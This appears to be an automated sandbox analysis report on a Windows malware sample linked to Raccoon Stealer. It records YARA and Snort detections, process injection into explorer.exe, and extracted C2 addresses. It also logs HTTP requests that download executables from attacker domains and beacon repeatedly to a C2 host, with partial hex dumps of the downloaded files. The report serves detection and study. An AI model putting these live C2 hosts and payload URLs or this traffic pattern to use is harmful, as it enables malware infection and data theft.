Source: Yara match	File source: 00000013.00000003.572995540.0000000006BEB000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 37D8.exe PID: 6468, type: MEMORYSTR

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	Unpacked PE file: 29.2.E4D7.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\C651.exe	Unpacked PE file: 41.2.C651.exe.400000.0.unpack

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.6:49835 version: TLS 1.0

Source: y8WngeDn4q.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\4EDC.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.6:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.6:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 81.177.141.36:443 -> 192.168.2.6:49815 version: TLS 1.2

Source:	Binary string: C:\vojos\fuw.pdb source: 4EDC.exe, 00000016.00000002.528243755.0000000000417000.00000002.00020000.sdmp, csdfufc.6.dr
Source:	Binary string: C:\pewa75 firecogiw\gugegowul49\geresegate_micicipu.pdbp source: DAA6.exe.6.dr
Source:	Binary string: c:\Projects\VS2005\AdvancedRun\Release\AdvancedRun.pdb source: AdvancedRun.exe, 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000001C.00000002.528560998.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 00000021.00000002.570535756.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 00000024.00000000.565833998.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe.19.dr
Source:	Binary string: C:\pewa75 firecogiw\gugegowul49\geresegate_micicipu.pdb source: DAA6.exe.6.dr
Source:	Binary string: C:\ciwomo siju28 nijohon\93-loze\2.pdb source: 6E1E.exe, gbdfufc.6.dr
Source:	Binary string: +C:\tuy.pdb` source: y8WngeDn4q.exe
Source:	Binary string: C:\lewusukoviv.pdb source: FBAD.exe.6.dr
Source:	Binary string: C:\tuy.pdb source: y8WngeDn4q.exe
Source:	Binary string: wntdll.pdbUGP source: 4EDC.exe, 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, 1105.tmp.22.dr
Source:	Binary string: wntdll.pdb source: 4EDC.exe, 1105.tmp.22.dr
Source:	Binary string: `C:\ciwomo siju28 nijohon\93-loze\2.pdb` source: 6E1E.exe, 0000001B.00000000.521192744.0000000000401000.00000020.00020000.sdmp, gbdfufc.6.dr
Source:	Binary string: bC:\ciyomolibit\vowudavumaz68\fubevu\vatatageh\yayawav\duji.pdb` source: E4D7.exe.6.dr
Source:	Binary string: :C:\venu4-divilavujar1.pdb` source: B74C.exe.6.dr
Source:	Binary string: C:\lewusukoviv.pdb` source: FBAD.exe.6.dr
Source:	Binary string: C:\tosofom\yopuk.pdb source: C651.exe.6.dr
Source:	Binary string: C:\venu4-divilavujar1.pdb source: B74C.exe.6.dr
Source:	Binary string: d:\Projects\WinRAR\SFX\build\sfxzip32\Release\sfxzip.pdb source: E11F.exe.6.dr
Source:	Binary string: C:\ciyomolibit\vowudavumaz68\fubevu\vatatageh\yayawav\duji.pdb source: E4D7.exe.6.dr

Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\
Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\
Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\
Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\
Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic

Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.6:49859 -> 194.180.174.181:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: iyc.jelikob.ru
Source: C:\Windows\explorer.exe	Domain query: xacokuo8.top
Source: C:\Windows\explorer.exe	Domain query: znpst.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: nusurtal4f.net
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-6000.top
Source: C:\Windows\explorer.exe	Domain query: hajezey1.top
Source: C:\Windows\explorer.exe	Domain query: sysaheu90.top

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: http://193.56.146.214/
Source: Malware configuration extractor	URLs: https://193.56.146.214/

Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903575517888925756/6D9E3C88.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903575519373697084/F83CB811.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903333369742491648/1E88D378.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /agrybirdsgamerept HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: toptelete.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Content-Length: 132Host: 194.180.174.181
Source: global traffic	HTTP traffic detected: GET //l/f/UJ1rynwB3dP17Spz23JR/c8a165d96af5f02e4cac679a1908533dbdcac0e8 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 15:54:58 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Fri, 29 Oct 2021 15:54:01 GMTETag: "54e00-5cf7fd603d2d5"Accept-Ranges: bytesContent-Length: 347648Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 34 de 0b c3 70 bf 65 90 70 bf 65 90 70 bf 65 90 1f c9 ce 90 5c bf 65 90 1f c9 fb 90 52 bf 65 90 1f c9 cf 90 f0 bf 65 90 79 c7 f6 90 77 bf 65 90 70 bf 64 90 0f bf 65 90 1f c9 ca 90 71 bf 65 90 1f c9 ff 90 71 bf 65 90 1f c9 f8 90 71 bf 65 90 52 69 63 68 70 bf 65 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5e 32 52 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 cc 03 00 00 c4 70 02 00 00 00 00 f0 ca 01 00 00 10 00 00 00 e0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 74 02 00 04 00 00 a1 ce 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 cf 03 00 50 00 00 00 00 60 73 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 73 02 84 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 bf 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a0 ca 03 00 00 10 00 00 00 cc 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 e0 03 00 00 16 00 00 00 d0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 7a 65 67 75 00 00 00 e5 02 00 00 00 50 73 02 00 04 00 00 00 e6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 60 73 02 00 40 00 00 00 ea 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 cc 23 01 00 00 a0 73 02 00 24 01 00 00 2a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 15:55:37 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Fri, 29 Oct 2021 15:55:02 GMTETag: "93200-5cf7fd9a22b51"Accept-Ranges: bytesContent-Length: 602624Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 34 de 0b c3 70 bf 65 90 70 bf 65 90 70 bf 65 90 1f c9 ce 90 5c bf 65 90 1f c9 fb 90 52 bf 65 90 1f c9 cf 90 f0 bf 65 90 79 c7 f6 90 77 bf 65 90 70 bf 64 90 0f bf 65 90 1f c9 ca 90 71 bf 65 90 1f c9 ff 90 71 bf 65 90 1f c9 f8 90 71 bf 65 90 52 69 63 68 70 bf 65 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6a f3 b3 5e 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 b0 07 00 00 c4 70 02 00 00 00 00 90 af 05 00 00 10 00 00 00 c0 07 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 78 02 00 04 00 00 05 90 09 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 b4 07 00 50 00 00 00 00 40 77 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 77 02 84 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 a4 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 af 07 00 00 10 00 00 00 b0 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 c0 07 00 00 16 00 00 00 b4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 69 66 00 00 00 00 e5 02 00 00 00 30 77 02 00 04 00 00 00 ca 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 40 77 02 00 40 00 00 00 ce 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 cc 23 01 00 00 80 77 02 00 24 01 00 00 0e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 15:56:05 GMTServer: Apache/2.4.6 (CentOS) PHP/5.6.40Last-Modified: Fri, 29 Oct 2021 15:50:01 GMTETag: "d6400-5cf7fc7b02802"Accept-Ranges: bytesContent-Length: 877568Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 34 de 0b c3 70 bf 65 90 70 bf 65 90 70 bf 65 90 1f c9 ce 90 5c bf 65 90 1f c9 fb 90 52 bf 65 90 1f c9 cf 90 f0 bf 65 90 79 c7 f6 90 77 bf 65 90 70 bf 64 90 0f bf 65 90 1f c9 ca 90 71 bf 65 90 1f c9 ff 90 71 bf 65 90 1f c9 f8 90 71 bf 65 90 52 69 63 68 70 bf 65 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 16 64 3f 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 e2 0b 00 00 c4 70 02 00 00 00 00 f0 e1 09 00 00 10 00 00 00 00 0c 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 7c 02 00 04 00 00 34 7c 0d 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 e6 0b 00 50 00 00 00 00 80 7b 02 68 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 7b 02 90 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 d6 09 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a0 e1 0b 00 00 10 00 00 00 e2 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 00 0c 00 00 16 00 00 00 e6 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 79 6f 70 75 00 00 00 e5 02 00 00 00 70 7b 02 00 04 00 00 00 fc 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 68 3f 00 00 00 80 7b 02 00 40 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 cc 23 01 00 00 c0 7b 02 00 24 01 00 00 40 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 15:56:11 GMTContent-Type: application/octet-streamContent-Length: 916735Connection: keep-aliveLast-Modified: Wed, 01 Sep 2021 16:21:39 GMTETag: "612fa893-dfcff"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 17 19 74 5c 00 10 0c 00 12 10 00 00 e0 00 06 21 0b 01 02 19 00 5a 09 00 00 04 0b 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 70 09 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 0c 00 00 06 00 00 1c 87 0e 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 c0 0a 00 9d 20 00 00 00 f0 0a 00 48 0c 00 00 00 20 0b 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0b 00 bc 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 0a 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 58 09 00 00 10 00 00 00 5a 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 fc 1b 00 00 00 70 09 00 00 1c 00 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 14 1f 01 00 00 90 09 00 00 20 01 00 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 b0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 9d 20 00 00 00 c0 0a 00 00 22 00 00 00 9c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 48 0c 00 00 00 f0 0a 00 00 0e 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 00 0b 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 10 0b 00 00 02 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 20 0b 00 00 06 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 bc 33 00 00 00 30 0b 00 00 34 00 00 00 d6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 d8 02 00 00 00 70 0b 00 00 04 00 00 00 0a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 d8 98 00 00 00 80 0b 00 00 9a 00 00 00 0e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 f5 1a 00 00 00 20 0c 00 00 1c 00 00 00 a8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 80 1a 00 00 00 40 0c 00 00 1c

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.6:49835 version: TLS 1.0

Source: global traffic	HTTP traffic detected: GET /263873486.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: iyc.jelikob.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://agvlhndt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 197Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dyrgluo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 279Host: hajezey1.top
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-6000.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ctwwxytaud.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 143Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wpicrcm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 229Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fklpf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 273Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bxdspskl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 138Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://isiuwvkkoj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 214Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pmdvv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 163Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jyoho.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 323Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fpdmgcvxb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 221Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fxurvqy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 336Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vlsulvkdg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 146Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cwdaqy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 260Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://llaraxn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jibms.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mowuyooy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 257Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://okikkrhv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 336Host: hajezey1.top
